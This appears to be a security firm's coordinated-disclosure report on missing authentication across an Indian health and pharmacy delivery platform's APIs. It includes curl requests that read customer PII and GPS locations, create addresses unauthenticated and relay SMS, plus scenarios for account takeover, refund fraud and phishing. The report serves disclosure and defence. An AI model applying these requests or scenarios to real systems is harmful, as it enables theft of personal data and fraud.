Unauthenticated API Gateway Collapse: Mass PII Exfiltration, Unauthenticated Database Mutations, and Infrastructure SMS Abuse in Hyperlocal HealthTech Platform

Executive Summary

SDX Shadow Labs conducted an in-depth security analysis of the core microservice architecture powering a major Indian HealthTech and hyperlocal 15-minute quick-commerce pharmacy delivery platform. The target platform processes thousands of daily prescription requests and localized inventory orders using AI-driven dark-store micro-hubs.

Our research uncovered a systemic architectural collapse of identity and access management across multiple core microservices:

1. Systemic Absence of Auth Middleware (CMX Backend): Over 195 REST API endpoints under /api/mobile/ were deployed without any authentication or token verification middleware.
2. Mass Customer Exfiltration: An unauthenticated attacker could read 587,000+ customer records, 393,000+ real-time active shopping carts containing precise sub-meter GPS coordinates, 92,000+ historical medication delivery records, and proprietary delivery fulfillment analytics.
3. Unauthenticated Database Write Operations: Attackers could execute arbitrary state modifications - creating fraudulent customer addresses, hijacking active carts, modifying account phone numbers, triggering unverified payment refunds, and deleting user accounts.
4. Infrastructure SMS Relay Abuse: An unauthenticated notification endpoint allowed relaying arbitrary SMS messages across India using the company's verified SMS gateway header (Company Identity), exposing the firm to financial exhaustion and brand-impersonation phishing risks.

All vulnerabilities were disclosed via coordinated responsible disclosure. Following initial unacknowledged vendor outreach, SDX Shadow Labs escalated the critical findings to CERT-In (Indian Computer Emergency Response Team). Upon official CERT-In notification, the platform leadership responded and deployed full production fixes within 24 hours. All fixes have been verified via retesting.

---

Technical Attack Surface & Architecture Breakdown

---

Deep Vulnerability Breakdown

1. SDX-FIND-01: CMX Backend - Mass Customer Data Leak & GPS Telemetry Exfiltration (CRITICAL - CVSS 9.8)

The CMX Backend (cmx.redacted-healthtech.in) runs a FastAPI application handling mobile client transactions. During endpoint enumeration, SDX Shadow Labs confirmed that the entire directory of 195+ endpoints under /api/mobile/ operated with zero authentication enforcement.

Test Case 1.1: Global Customer PII Enumeration

GET /api/mobile/contacts/all-customers?search={term}&limit=100

Sending an unauthenticated GET request returned unredacted customer profiles across India.

curl -s -k 'https://cmx.redacted-healthtech.in/api/mobile/contacts/all-customers?search=Rahul&limit=2'

Response Output (Sanitized):

{
    "success": true,
    "customers": [
        {
            "id": "00239402-79ca-******-d1bf423017aa",
            "name": "Rahul P.",
            "mobile": "+91 88979*****",
            "email": "rahul.***@domain.com",
            "ordersPlaced": 14,
            "lastOrder": "2026-07-19T15:50:22.254Z",
            "createdAt": "2025-10-09T06:21:36.263Z"
        }
    ],
    "pagination": {
        "total": 625,
        "page": 1,
        "limit": 2,
        "has_more": true
    }
}

Test Case 1.2: Real-Time Active Cart Telemetry & Precise Sub-Meter GPS Exfiltration

GET /api/mobile/cart/active-carts?page=1&page_size=100

The API exposed 393,507 live active shopping carts. Each object leaked the customer's full physical street address, contact details, cart items, and exact geographic coordinates with sub-meter precision (~0.1m accuracy).

curl -s -k 'https://cmx.redacted-healthtech.in/api/mobile/cart/active-carts?page=1&page_size=1'

Response Output (Sanitized):

{
    "success": true,
    "items": [
        {
            "order_id": "CART-531001",
            "status": "cart",
            "contact_id": "f12d7b2b-5628-4977-8470-0a93e15bb126",
            "customer_name": "Pratham S.",
            "phone_number": "+91 93559*****",
            "address": "Koramangala 5th Block, ******, *****, 560095",
            "latitude": "12.****18812809395",
            "longitude": "77.*****5012706757",
            "distance_km": 6.85,
            "is_serviceable": true
        }
    ],
    "total_active_cart": 393507
}

---

2. SDX-FIND-02: CMX Backend - Unauthenticated Write Operations & State Poisoning (CRITICAL - CVSS 9.1)

The complete missing authentication layer extended to state-changing HTTP methods (POST, PUT, PATCH, DELETE). An unauthenticated attacker could tamper with customer accounts and order pipelines.

Confirmed Write Test: Unauthenticated Address Creation

POST /api/mobile/contacts/{contact_id}/addresses

curl -s -k -X POST \
  'https://cmx.redacted-healthtech.in/api/mobile/contacts/58851a7c-17a7-48ae-a788-0af8c197e5ff/addresses' \
  -H 'Content-Type: application/json' \
  -d '{
    "house_number":"123",
    "building_name":"***_BUILDING",
    "locality":"K******a",
    "city":"Bangalore",
    "state":"Karnataka",
    "pincode":"5**01",
    "latitude": "12.*7",
    "longitude": "77.*9",
    "is_primary": false
  }'

Response Output:

{
    "success": true,
    "message": "Address created successfully",
    "address": {
        "id": "139cb5e6-b6ad-4da3-957a-def9c4415af6",
        "contact_id": "58851a7c-17a7-48ae-a788-0af8c197e5ff",
        "created_at": "2026-07-22T08:01:09.186Z"
    }
}

Exploit Attack Scenarios:

1. Address Poisoning & Order Hijacking: Adding a malicious primary address to a target user's profile causing subsequent 15-minute quick-commerce deliveries to be routed to the attacker.
2. Account Takeover via Phone Mutation: Calling PUT /api/mobile/contacts/update-phone to overwrite a victim's registered mobile number with an attacker-controlled number, enabling password reset takeovers.
3. Financial Fraud via Unauthenticated Refunds: Calling POST /api/mobile/payment/refund/process to trigger automated refunds to arbitrary transaction references.
4. Arbitrary Account Destruction: Calling DELETE /api/mobile/contacts/{contact_id}/delete to purge user records and prescription histories.

---

3. SDX-FIND-03: Auth-Service - Unauthenticated SMS Relay & Infrastructure Abuse (HIGH - CVSS 7.5)

The authentication gateway (auth-service.redacted-healthtech.in) exposed an unauthenticated notification route at /api/notifications/send-sms. The endpoint processed arbitrary message payloads and sent real SMS messages via the company's verified SMS gateway ID.

curl -s -k -X POST \
  'https://auth-service.redacted-healthtech.in/api/notifications/send-sms' \
  -H 'Content-Type: application/json' \
  -d '{"phone_number":"+91 98765*****","message":"Security Audit Verification"}'

Response Output:

{
  "message_id": "SM3e5c6ae7f10881e8611d892a7049d003",
  "status": "sent",
  "phone_number": "+91 98765*****"
}

Threat Vectors:

• SMS Toll Fraud: Automating requests to deplete company SMS credits at thousands of messages per minute.
• Brand-Impersonation Phishing: Transmitting phishing URLs under the trusted Company Brand header to bypass telco DND filters and user spam detection.

---

4. SDX-FIND-04 & SDX-FIND-05: Infrastructure Footprinting & Debug Leakage (MEDIUM / LOW)

• SDX-FIND-04 (Production Debug Exception Leak /test-error): An exposed debug route raised an explicit exception returning internal stack traces. This revealed the exact AWS EC2 virtual environment path (/home/ec2-user/****_backend/CMX-Auth-Service/venv/lib64/python3.9/), Starlette middleware layers, and dependency configurations.
• SDX-FIND-05 (OpenAPI Specification Exposure): Both auth-service and coupons-service exposed their OpenAPI 3.1.0 specifications (/openapi.json), documenting internal Redis administration routes and microservice data models.

---

Regulatory Impact (India DPDP Act 2023)

Under Section 29 of India's Digital Personal Data Protection (DPDP) Act:

• Data Fiduciaries must implement reasonable security safeguards to prevent personal data breaches.
• The unauthenticated exposure of 587,000+ patient records, active GPS tracking, and medication order histories represents a severe non-compliance event, carrying potential penalties of up to ₹250 Crore alongside immediate regulatory enforcement.

---

Remediation & Retesting Verification

Following coordinated disclosure with the client's engineering team, the following remediation measures were implemented and verified by SDX Shadow Labs:

1. Centralized Authentication Middleware: Deployed a FastAPI dependency middleware enforcing Authorization: Bearer <JWT> tokens across all /api/mobile/ and /api/notifications/ routes.
2. Object-Level Authorization (BFLA/IDOR Mitigation): Implemented context-aware tenant checks ensuring users can only mutate resources tied to their validated contact_id.
3. Infrastructure Hardening: Stripped production debug endpoints, restricted OpenAPI documentation to internal developer networks, and enforced field-level AES-256 encryption for PII and GPS coordinates at rest.
4. Retest Confirmation: Retesting confirmed that all 195+ endpoints now respond with HTTP 401 Unauthorized for unauthenticated requests.

---

Coordinated Vulnerability Disclosure & CERT-In Escalation Timeline

In accordance with SDX Shadow Labs' strict Responsible Disclosure Policy, initial discovery was followed by direct outreach across multiple vendor security channels. Due to lack of acknowledgment from the vendor team, the vulnerability package was formally escalated to CERT-In (Indian Computer Emergency Response Team).

Disclosure Event	Channel / Entity	Outcome & Response
Direct Vulnerability Outreach	Vendor Security / Engineering	Unacknowledged over standard disclosure window.
National CSIRT Escalation	CERT-In (Govt. of India)	Formal incident advisory package submitted.
Government Incident Notice	CERT-In to Vendor Leadership	Official vulnerability notification issued.
Remediation & Retest	SDX Shadow Labs & Vendor	Production fixes deployed within 24 hours. Retest verified 100% resolution.